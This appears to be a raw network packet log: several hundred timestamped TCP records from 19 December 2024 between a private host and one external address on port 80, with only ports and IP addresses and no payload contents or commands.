Dec 19, 2024 07:56:52.368473053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.369225025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.369236946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.369275093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.370181084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.370333910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.370373964 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.371304035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.371323109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.371366024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.372245073 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.372410059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.372448921 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.373087883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.373187065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.373222113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.374095917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.374195099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.374233007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.375159979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.375256062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.375293016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.376094103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.376195908 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.376239061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.377094030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.377194881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.378058910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.378096104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.378155947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.378199100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.379060984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.379168987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.379205942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.380067110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.380177975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.380219936 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.381063938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.381179094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.381230116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.382016897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.416644096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.416707039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.416733027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.417192936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.417237043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.418070078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.419928074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.419941902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.419951916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.419964075 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.419986010 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.420310974 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.420332909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.420345068 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.420496941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.421381950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.421417952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.421556950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.422348022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.422389030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.422473907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.423238993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.423279047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.423413038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.424309015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.424349070 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.424498081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.425312042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.425323963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.425348043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.474741936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.474773884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.474841118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.475470066 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.475506067 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.475665092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.476424932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.476459980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.476612091 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.477372885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.477385998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.477407932 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.478349924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.478362083 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.478387117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.479288101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.479300022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.479324102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.480345011 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.480356932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.480386019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.481009960 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.481046915 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.481111050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.481995106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.482033968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.482093096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.484895945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.484942913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.485025883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.537611961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.541755915 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.541781902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.541874886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.542170048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.542277098 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.542340994 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.543159008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.543278933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.543333054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.544140100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.544246912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.544286966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.545170069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.545258045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.545296907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.546137094 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.546258926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.546298981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.547171116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.547291040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.547333956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.548136950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.548295975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.548336983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.549143076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.549243927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.549283028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.550162077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.550268888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.550321102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.551140070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.551239014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.551276922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.552144051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.552247047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.552285910 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.553143978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.553299904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.553343058 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.554120064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.554265022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.554306984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.555121899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.555227995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.555268049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.556132078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.556236029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.556271076 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.557115078 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.557229996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.557266951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.558099031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.558213949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.558250904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.559113026 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.559218884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.559257984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.560137987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.560254097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.560291052 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.561120033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.561214924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.561252117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.562133074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.562235117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.562273979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.563092947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.563191891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.563231945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.564094067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.564209938 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.564246893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.565074921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.565179110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.565210104 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.566071033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.566168070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.566205978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.567080975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.567190886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.567245007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.568078041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.568186998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.568237066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.569084883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.569175959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.569215059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.570075989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.570172071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.570219040 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.571116924 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.571197033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.571239948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.572048903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.572160959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.572196960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.573051929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.573158979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.573205948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.574014902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.608889103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.608963966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.608963966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.609325886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.609364986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.609436035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.610348940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.610457897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.610650063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.611439943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.611475945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.611524105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.612397909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.612454891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.612555027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.613328934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.613368988 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.613444090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.614331007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.614370108 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.614429951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.615345955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.615396976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.615469933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.616389990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.616425991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.616435051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.617360115 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.617403984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.617470980 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.662596941 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.666538954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.666662931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.666719913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.667007923 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.667117119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.667161942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.668037891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.668145895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.668184042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.668992996 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.669070005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.669116020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.670006990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.670135021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.670180082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.671010017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.671116114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.671158075 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.671977043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.672080994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.672121048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.672997952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.673131943 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.673175097 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.673964024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.674078941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.674124956 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.674968004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.675061941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.675107002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.843142986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.843159914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.843169928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.843235016 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.960594893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.960616112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.960692883 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:52.962510109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.962531090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:52.962587118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052149057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052167892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052180052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052191973 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052203894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052216053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052227020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052233934 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052238941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052251101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052263021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052273989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052277088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052277088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052285910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052298069 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052314997 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052447081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052458048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052469015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052479982 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052490950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052498102 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052503109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052534103 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052541018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052551985 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052557945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052563906 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052577019 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052587986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052591085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052602053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.052608967 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.052638054 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053159952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053327084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053338051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053349018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053359032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053363085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053375959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053385973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053389072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053401947 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053411961 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053414106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053426027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053436995 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053438902 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053451061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053458929 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.053464890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.053487062 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054090023 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054102898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054112911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054126024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054137945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054168940 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054344893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054378986 CET	49744	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:56:53.054506063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054517984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054528952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054541111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 19, 2024 07:56:53.054548025 CET	49744	80	192.168.2.4	185.215.113.16
